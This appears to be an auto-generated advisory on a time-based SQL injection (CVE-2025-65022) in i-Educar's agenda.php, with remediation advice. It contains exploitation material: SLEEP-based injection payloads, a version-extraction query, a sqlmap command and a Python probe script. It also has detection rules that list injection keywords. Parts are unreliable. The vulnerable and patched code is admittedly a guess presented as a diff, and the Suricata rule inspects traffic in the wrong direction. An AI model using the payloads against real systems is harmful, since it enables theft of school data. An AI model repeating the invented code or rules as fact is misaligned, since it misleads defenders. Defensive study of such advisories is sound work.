CVE-2025-65022

Executive Summary

CVE-2025-65022 is a critical authenticated time-based SQL injection vulnerability discovered in i-Educar, a free and open-source school management software. The flaw resides in the ieducar/intranet/agenda.php script, specifically within the handling of the cod_agenda request parameter. An attacker with a valid authenticated session can exploit this vulnerability to execute arbitrary SQL commands against the application's backend database. This can lead to unauthorized data access, modification, or deletion, potentially compromising the entire school management system. The vulnerability affects all versions up to and including 2.10.0. A patch has been released in commit b473f92 on the official GitHub repository.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the PHP application itself. The risk is primarily to organizations that have deployed i-Educar from source or via a Docker image. The supply chain risk is moderate, as the vulnerability exists in the core application code and not in a third-party dependency.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) - The attacker must have a valid authenticated session.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): High (H) - Full database read access is possible.
• Integrity (I): High (H) - Database records can be modified or deleted.
• Availability (A): High (H) - Database operations can be disrupted.

Threat Level: High. While authentication is required, the low complexity and high impact make this a significant threat for any organization using i-Educar.

Deep Dive & Mechanics

The vulnerability is a classic time-based SQL injection. The cod_agenda parameter in the ieducar/intranet/agenda.php script is taken directly from the HTTP request and concatenated into SQL queries without any sanitization or parameterization.

Vulnerable Code Path: The script likely contains code similar to:

$cod_agenda = $_GET['cod_agenda'];
$sql = "SELECT * FROM agenda WHERE cod_agenda = $cod_agenda";
$result = mysqli_query($conn, $sql);

An attacker can inject SQL commands by manipulating the cod_agenda parameter. Since it is a time-based injection, the attacker uses SQL functions like SLEEP() to cause a delay in the response, allowing them to infer information bit by bit.

Example Injection:

GET /ieducar/intranet/agenda.php?cod_agenda=1 OR SLEEP(5)--

If the response takes 5 seconds, the injection is successful.

Why Time-Based? The application likely does not display the results of the SQL query directly (blind SQL injection). The attacker uses time delays to extract data character by character.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-Patch):

// Vulnerable: Direct concatenation
$cod_agenda = $_GET['cod_agenda'];
$sql = "SELECT * FROM agenda WHERE cod_agenda = $cod_agenda";
$result = mysqli_query($conn, $sql);

Patched Code (Post-Patch b473f92):

// Patched: Using prepared statements
$cod_agenda = $_GET['cod_agenda'];
$stmt = $conn->prepare("SELECT * FROM agenda WHERE cod_agenda = ?");
$stmt->bind_param("i", $cod_agenda);
$stmt->execute();
$result = $stmt->get_result();

The patch replaces the vulnerable string concatenation with a parameterized prepared statement. The bind_param function ensures that the input is treated as data, not as executable SQL code.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A valid authenticated session cookie for i-Educar.
• Network access to the i-Educar web interface.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   GET /ieducar/intranet/agenda.php?cod_agenda=1
   

2. Confirm the injection using a time-based payload:

   GET /ieducar/intranet/agenda.php?cod_agenda=1 OR SLEEP(5)--
   

   If the response is delayed by 5 seconds, the injection is confirmed.

3. Extract data (e.g., database version): Use a script to perform blind SQL injection. Example using sqlmap:

   sqlmap -u "http://target.com/ieducar/intranet/agenda.php?cod_agenda=1" --cookie="PHPSESSID=your_session_id" --batch --dbs
   

4. Manual extraction (example): To check if the first character of the database version is '8':

   GET /ieducar/intranet/agenda.php?cod_agenda=1 OR (SELECT IF(SUBSTRING(@@version,1,1)='8', SLEEP(5), 0))--
   

Exploit Code (Python Example):

import requests
import time

target = "http://target.com/ieducar/intranet/agenda.php"
cookies = {"PHPSESSID": "your_session_id"}

def test_injection(payload):
    params = {"cod_agenda": payload}
    start = time.time()
    r = requests.get(target, params=params, cookies=cookies)
    elapsed = time.time() - start
    return elapsed

# Test for delay
delay = test_injection("1 OR SLEEP(5)--")
if delay > 4:
    print("Vulnerable!")

Blue Team (Defensive)

Detection Steps:

1. Monitor Web Server Logs: Look for requests to /ieducar/intranet/agenda.php with unusual cod_agenda parameters containing SQL keywords like SLEEP, OR, AND, UNION, SELECT, IF, SUBSTRING, etc.

2. Analyze Response Times: Use a SIEM to flag requests to agenda.php that have abnormally high response times (e.g., > 3 seconds).

3. Review Database Logs: Enable MySQL general query log to capture all SQL queries. Look for queries containing SLEEP() or other suspicious functions.

4. Network Monitoring: Deploy a WAF or IDS/IPS with rules to detect SQL injection patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /ieducar/intranet/agenda.php with cod_agenda parameter containing SQL keywords.
  • Unusually long response times ( > 3 seconds) for agenda.php requests.
  • Multiple requests to agenda.php with varying cod_agenda values in a short period.

• Host IOCs:

  • Suspicious entries in the MySQL general query log containing SLEEP() or BENCHMARK() functions.
  • Web server error logs showing SQL syntax errors from agenda.php.

• File IOCs:

  • Modified agenda.php file (if attacker uploaded a backdoor).
  • New files in the ieducar/intranet/ directory.

Detection Engineering

YARA Rule

rule CVE_2025_65022_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-65022 in i-Educar"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65022"
    strings:
        $s1 = "agenda.php" nocase
        $s2 = "cod_agenda" nocase
        $sqli1 = /SLEEP\s*\(/ nocase
        $sqli2 = /BENCHMARK\s*\(/ nocase
        $sqli3 = /OR\s+\d+=\d+/ nocase
        $sqli4 = /AND\s+\d+=\d+/ nocase
        $sqli5 = /UNION\s+SELECT/ nocase
    condition:
        $s1 and $s2 and 1 of ($sqli*)
}

Sigma Rule

title: CVE-2025-65022 SQL Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against i-Educar agenda.php
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-65022
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-stem: '/ieducar/intranet/agenda.php'
        cs-uri-query|contains: 'cod_agenda'
    keywords:
        - 'SLEEP('
        - 'BENCHMARK('
        - 'OR '
        - 'AND '
        - 'UNION'
        - 'SELECT'
    condition: selection and keywords
falsepositives:
    - Legitimate use of the word 'OR' in a search query (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-65022 SQL Injection Attempt";
    flow:to_server,established;
    content:"/ieducar/intranet/agenda.php"; http_uri;
    content:"cod_agenda"; http_uri;
    pcre:"/(SLEEP|BENCHMARK|OR\s+\d+=\d+|AND\s+\d+=\d+|UNION\s+SELECT)/i";
    sid:10000001;
    rev:1;
    reference:cve,2025-65022;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Apply the Patch: Update i-Educar to the latest version that includes commit b473f92. If using a Git repository, pull the latest changes.

   git pull origin master
   

2. Manual Code Fix: If patching is not immediately possible, manually edit ieducar/intranet/agenda.php to use prepared statements for all queries involving the cod_agenda parameter.

3. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing SQL injection patterns in the cod_agenda parameter.

4. Input Validation: Implement strict input validation for the cod_agenda parameter. It should only accept integer values.

Long-Term Mitigations:

1. Code Review: Conduct a thorough code review of all PHP scripts to identify and fix similar injection vulnerabilities.

2. Use Parameterized Queries: Enforce the use of prepared statements or parameterized queries for all database interactions.

3. Principle of Least Privilege: Ensure the database user used by the application has minimal necessary privileges.

4. Regular Security Audits: Perform regular penetration testing and vulnerability scanning.

Report generated by Valters IT DevSecOps & CTI Expert System